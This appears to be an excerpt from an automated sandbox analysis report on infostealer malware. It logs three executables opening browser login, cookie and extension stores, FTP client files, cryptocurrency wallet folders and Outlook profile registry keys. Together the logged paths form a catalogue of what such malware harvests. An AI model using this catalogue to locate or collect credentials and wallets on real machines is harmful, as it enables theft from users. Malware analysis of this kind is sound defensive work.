Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004

Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
